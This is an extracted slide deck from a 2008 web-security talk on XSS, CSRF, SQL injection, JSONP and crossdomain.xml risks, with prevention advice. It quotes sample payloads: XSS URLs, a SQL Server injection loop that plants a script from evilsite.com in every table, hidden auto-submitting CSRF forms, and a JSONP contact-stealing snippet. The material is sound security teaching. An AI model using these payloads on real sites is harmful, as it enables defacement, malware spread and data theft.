Keeping your web application secure is an ongoing process - new classes of vulnerabilities are discovered with surprising frequency, and if you don't keep on top of them you could be in for a nasty surprise. This talk will discuss both common and obscure vulnerabilities, with real-world examples of attacks that have worked against high profile sites in the past.
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Web Security Horror Stories
1. Web Security
Horror Stories
The Dire
ctor’s C
ut
Simon Willison, 26th October 2008
2. The edited version
• On Friday, I spent 15 minutes introducing:
• XSS
• CSRF / login CSRF
• SQL injection
• Clickjacking
• I promised this talk would provide fixes
3. XSS
• Cross-site scripting
• Attacker injects JavaScript code in to your
site
• Amazingly common
• A single XSS hole on your domain
compromises your security, entirely
4. Alex Russell:
If you are subject to an XSS,
the same domain policy
already ensures that you’re
f’d. An XSS attack is the
“root” or “ring 0” attack of
the web.
http://www.sitepen.com/blog/2007/01/07/when-vendors-attack-film-at-11/
5. The same origin policy
“The same origin policy prevents a
document or script loaded from one
origin from getting or setting properties
of a document from another origin.
This policy dates all the way back to
Netscape Navigator 2.0.”
https://developer.mozilla.org/en/Same_origin_policy_for_JavaScript
6. Why?
• Without the same origin policy, I could load
your site in a frame, iframe or popup window
from my site...
• ... and steal data from it
• ... or rewrite it with my own modifications
• evil.hax.ru should not be able to read
secret-wiki.bigco.intl
• XMLHttpRequest has the same policy
7. Things I can do if you
have an XSS hole
• Steal your users’ cookies and log in as them
• Show a fake phishing login page on your site
• Embed malware and drive-by downloads
• Perform any action as if I was your user
8. Two categories of XSS
• Reflected
• I embed my JS in a link to your site and
trick your user in to following it
• Persistent
• I get my XSS in to your site’s database
somehow so that it shows up on your pages
9. http://www.facebook.com/srch.php?nm=xss%00<script>alert('XSS')</script>
http://www.youtube.com/edit_playlist_info?p='%22%3E%3Cscript%
20src=http://ckers.org/s%3E
http://groups.google.com/group/rec.sport.pro-wrestling/browse_thread/
thread/1ab38554971acfc9')&+eval
(alert(document.cookie))&+eval('?tvc=2
http://search.live.com/images/results.aspx?
q=1&first=21&FORM=PEIRquot;><script>alert('securitylab.ru')</script>
All from http://xssed.com/
14. • Wrong:
• $sql = quot;select * from users where
username = 'quot; . $username . quot;'quot;;
• Right:
• $results = db_query(quot;select * from
users where username = ?quot;,
$username);
15. Mass XSS via SQL injection
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
http://hackademix.net/2008/04/26/mass-attack-faq/
16. Preventing XSS
• Use a tool that escapes everything on output
• Only unescape stuff that you know is safe
and you know contains markup you want to
execute
• IE 8 has an XSS filter; this is irrelevant to
developers
• httpOnly cookies are mostly a waste of time
17. HTML “sanitisation”
• My users need to be able to add links
and basic styles to their submissions
• “I’ll let them use HTML and remove
anything nasty”
• An extremely common vector for XSS
• MySpace
• LiveJournal
• Almost anyone else who tries
20. A social network worm
• XSS hole in MySpace’s HTML filter
• When you viewed Samy’s profile...
• JS makes you add him as a friend
• JS uses XMLHttpRequest to add his
exploit to YOUR profile as well
24. Things to remember
• Whitelist, don’t blacklist
• You’re programming against undocumented
parsing routines in closed-source browsers
• Distrust any library that doesn’t have a unit test
suite a mile long
• http://ha.ckers.org/xss.html
• http://code.google.com/p/html5lib/ is promising
26. The UTF-7 hole
• Google’s 404 pages used to be served
without a character set specified in the
HTTP headers or <head> section
• Without those hints, IE inspects the first
4096 bytes to “guess” which encoding
is used
• XSS attacks encoded as UTF-7 were
shown on the page and executed by IE
http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
27. You can’t trust CSS either
• Want to let your users include their own
stylesheet?
• HTC in IE and XBL in Mozilla are both
vectors for JavaScript attacks
• LiveJournal were attacked with this
• A “position: absolute” hack was used to
steal 30,000 MySpace passwords last year
http://community.livejournal.com/lj_dev/708069.html
http://www.securiteam.com/securitynews/6O00M0AHFW.html
29. Bill Zeller:
“We’ve found CSRF vulnerabilities in
sites that have a huge incentive to
do security correctly. If you’re in
charge of a website and haven’t
specifically protected against CSRF,
chances are you’re vulnerable”
31. How does it work?
• It pre-fetches the links on a page in to a
cache, so they’re already loaded when you
click on them
• Links like http://app.example.com/
delete.php?id=5
32. How does it work?
• It pre-fetches the links on a page in to a
cache, so they’re already loaded when you
click on them
• Links like http://app.example.com/
delete.php?id=5
35. So use POST
• You can't create a page that
automatically posts to another site, can
you?
36. POST will not save you
<form action=quot;http://app.example.com/delete.phpquot;
method=quot;POSTquot;>
<input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;>
<input type=quot;submitquot; value=quot;More kittens please!quot;>
</form>
fofurasfelinas: http://www.flickr.com/photos/fofurasfelinas/9724483/
37. Or do it with JavaScript
<div style=quot;display: nonequot;>
<form action=quot;http://app.example.com/delete.phpquot;
method=quot;POSTquot;>
<input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;>
</form>
</div>
<script>document.forms[0].submit()</script>
Put this in a hidden iframe and your victim won't even
know it happened.
38. The Digg exploit
• A few years ago, Digg had no CSRF
protection on their “digg this” button
• Self-digging pages!
http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/
39. The Gmail filter hack
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
40. “We believe this is the first CSRF
vulnerability to allow the transfer of funds
from a financial institution.”
http://www.freedom-to-tinker.com/blog/wzeller/
popular-websites-vulnerable-cross-site-request-
forgery-attacks
41. Preventing CSRF
• You need to distinguish between form
interactions from your user on your site,
and form interactions from your user on
some other site
• Referrer checking is notoriously
unreliable
• Solution: include a form token (Yahoo!
calls this a “crumb”) proving that the
post came from your site
43. Crumbs
• Should be unique per user (or one user
can use their crumb to attack another)
• Hence should be tied to the user’s
session or login cookie
• Should be changed over time
• Quick and dirty: use sha1(salt + user’s
session ID + timestamp) as the crumb
44. Protecting the crumb
• Your crumb is now the only thing
protecting you from CSRF attacks
• This is why XSS is “ring 0” for the Web
• With XSS, I can steal your crumb and
run riot across your site
• XSS holes are automatically CSRF holes
45. Crumbs and Ajax
• Ajax can set HTTP headers; regular forms can’t
• Ajax requests must be from the same domain
• So X-Requested-By: XMLHttpRequest can only
come from your own site
• You can skip your crumb checking for requests
that include that custom header
46. Login CSRF
• Most login forms skip CSRF protection
• Create a throw-away PayPal account
• Use CSRF to log someone in as “you”
• Hope that they add their credit card or
bank details
• Log in later and steal all of their money!
61. crossdomain.xml
<cross-domain-policy>
<allow-access-from domain=quot;*quot; />
</cross-domain-policy>
Putting this at example.com/crossdomain.xml allows Flash applets
on other sites to read your pages and steal your crumbs
Flash can even fake an X-Requested-With: XMLHttpRequest header
That’s why Flickr use api.flickr.com/crossdomain.xml instead
62. crossdomain.xml
<cross-domain-policy>
<allow-access-from domain=quot;*quot; />
</cross-domain-policy>
Putting this at example.com/crossdomain.xml allows Flash applets
on other sites to read your pages and steal your crumbs
Flash can even fake an X-Requested-With: XMLHttpRequest header
That’s why Flickr use api.flickr.com/crossdomain.xml instead
64. The PDF hole
• In January 2007, an XSS hole was found
in the Adobe PDF reader itself
• It could execute JavaScript in the
context of the current domain
• Any sites hosting .pdf files for download
were vulnerable
http://shiflett.org/blog/2007/jan/adobe-pdf-xss-vulnerability
65. You can’t secure your site
100%, because there’s
always a chance a browser
or plugin will screw things
up for you
68. • JSONP lets you opt-in to sharing your
site’s data with other sites using JavaScript
• ... so make sure it’s data you want to share
69. Stealing Google contacts
<script>
function google(a){
var emails;
for(i=1;i<a.Body.Contacts.length;i){
alert(a.Body.Contacts[i].Email);
}
emails = quot;</ol>quot;
document.write(emails);
}
</script>
<script src=quot;http://docs.google.com/data/contacts?
out=js&show=ALL&psort=Affinity&callback=google&max=99999quot;>
</script>
http://blog.adamjacobmuller.com/gmail.txt
http://www.cyber-knowledge.net/blog/2007/01/01/gmail-vulnerable-to-contact-list-hijacking/
70. Jeremiah Grossman:
“If any JSON feed containing
user-sensitive information is
wrapped with a call-back and
has a predictable URL... then
that data is at risk”
http://jeremiahgrossman.blogspot.com/2007/01/gmail-xsrf-json-call-back-hackery.html
71. Regular JSON?
• That’s not secure either
• In old versions of Firefox, you can redefine
the Array constructor to grab the data
• If your JSON object is an array, the data
can be grabbed using <script src=quot;your-
data-herequot;>
http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html
72. Secure JSON
Use { } as the root, not [ ]
If you’re paranoid about future similar
problems, use an idiom like this one:
while (true) {
{quot;jsonquot;: quot;goes herequot;}
}
73. And if that wasn’t enough
“More than 70% of people would reveal
their computer password in exchange for
a bar of chocolate, a survey has found.”
http://news.bbc.co.uk/1/hi/technology/3639679.stm
• We have a shared responsibility to teach people
better online security behaviour
• Don’t teach our users to be phished!